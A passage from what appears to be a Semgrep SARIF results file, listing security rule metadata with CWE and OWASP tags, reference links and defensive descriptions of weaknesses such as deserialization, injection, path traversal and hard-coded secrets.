recommended."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json","id":"python.lang.deserialization.tainted-json.tainted-json","name":"python.lang.deserialization.tainted-json.tainted-json","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-json.tainted-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"help":{"markdown":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution)\n - [http://bluebirdjs.com/docs/getting-started.html](http://bluebirdjs.com/docs/getting-started.html)\n","text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"helpUri":"https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","id":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","name":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body","id":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","name":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-html-email-body.xss-html-email-body"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"help":{"markdown":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","id":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","name":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html](https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled)\n - [https://symfony.com/doc/current/security/csrf.html](https://symfony.com/doc/current/security/csrf.html)\n","text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","id":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","name":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string","id":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","name":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","id":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","name":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","id":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","name":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-express.fs-express)\n - [https://nodejs.org/api/fs.html#promises-api](https://nodejs.org/api/fs.html#promises-api)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-express.fs-express","id":"javascript.express.file.fs-express.fs-express","name":"javascript.express.file.fs-express.fs-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-express.fs-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request)\n - [https://www.npmjs.com/package/telnet](https://www.npmjs.com/package/telnet)\n - [https://www.npmjs.com/package/telnet-client](https://www.npmjs.com/package/telnet-client)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls","id":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","name":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-sls.file-taint-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"help":{"markdown":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","id":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","name":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","id":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","name":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection)\n - [https://www.php.net/manual/en/function.mb-send-mail.php](https://www.php.net/manual/en/function.mb-send-mail.php)\n - [https://www.php.net/manual/en/function.mail.php](https://www.php.net/manual/en/function.mail.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","id":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","name":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle)\n - 